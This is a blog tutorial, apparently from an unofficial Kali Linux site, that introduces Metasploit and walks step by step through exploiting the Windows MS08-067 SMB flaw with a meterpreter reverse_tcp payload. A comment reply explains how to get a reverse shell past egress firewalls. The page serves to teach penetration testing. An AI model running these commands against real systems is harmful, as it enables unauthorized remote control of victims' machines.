This blog is NOT OFFICIAL website of Kali Linux. We just share Tutorials to learn Cybersecurity.

Metasploit -- The MSF

Home


Metasploit Framework (MSF) is the most widely used and very popular open source tool for pentesting. Metasploit Framework was first developed by HD Moore in 2001. Previously Metasploit was written in Perl; in 2007, it was totally rewritten in ruby and then in October 21, 2009 rapid7 acquired Metasploit.

Metasploit contains a huge collection of exploits, payloads, and encoders, which can be used to identify and exploit vulnerabilities during pentesting. We are going to cover Metasploit in some posts.

Metasploit is comes pre-installed with Kali Linux. To use it, open the Terminal window and type following command:

msfconsole
The screenshot is following:


We are going to search an exploit by its name, name of the exploit is ms08_067 this exploit is in Windows. So we need to type following command in terminal:

search ms08_067
The screenshot of the command is following:


Now we are going to use the exploit, to do this we need to type the path of the exploit. For this exploits path look at the screenshot above the path is here exploit/windows/smb/ms08_067_netapi . So we use the following command:


use exploit/windows/smb/ms08_067_netapi
The screenshot is here:


Now we can look at the options by typing following command:

show options
Screenshot is following:


Now we need to set the payload, IP of target, localhost and port we want for the reverse back connection. Here we need to open that port by using port forwarding which setting can be found in routers settings option.

We need to set the target by using targets IP (LAN or WAN) following command:

set RHOST x.x.x.x
Now we set the payload by using following command :

set payload windows/meterpreter/reverse_tcp
Now, we need to set the lhost and lport in which we want the connection:

set lhost x.x.x.x
and

set lport 4444
We used this in our local network. The screenshot is following:


Now we can exploit this by using exploit command 

exploit


After it is successfully exploited, we will get a meterpreter session.


Although we used only Windows reverse_tcp in this tutorial, but Metasploit Framework has a lot of other payloads depending on OS or web application. We used a name of exploit but we also can search for exploits. To search exploits of android mobile phones we can use following command in msfconsole:

search android



Or you can search exploits by using the name of web based applications

search wordpress


Those are just some example. A complete list of payloads can be found at
https://www.offensive-security.com/metasploit-unleashed/msfpayload/ .

author-img
Kali Linux

Comments

3 comments
Post a Comment
  • smiler kai photo
    smiler kaiApril 8, 2020 at 9:58 PM

    is it possible to overcome the fire of win 10 admin? and if so, I would expect you to write about it.

    Delete Comment
    • Kali Linux photo
      Kali LinuxApril 9, 2020 at 6:55 AM

      Hey smiler, good to see you again...

      ‘reverse_tcp’ only allows connection to one port, but if the victim has blocked outgoing connections except a few ports. Then it makes it difficult for the attacker to set a port for listening. ‘reverse_tcp _allports’ is used to to brute-force all the ports from {1-65535}. Read more

      Delete Comment
      • smiler kai photo
        smiler kaiApril 12, 2020 at 3:50 PM

        Well, thanks admin

        Delete Comment
      google-playkhamsatmostaqltradent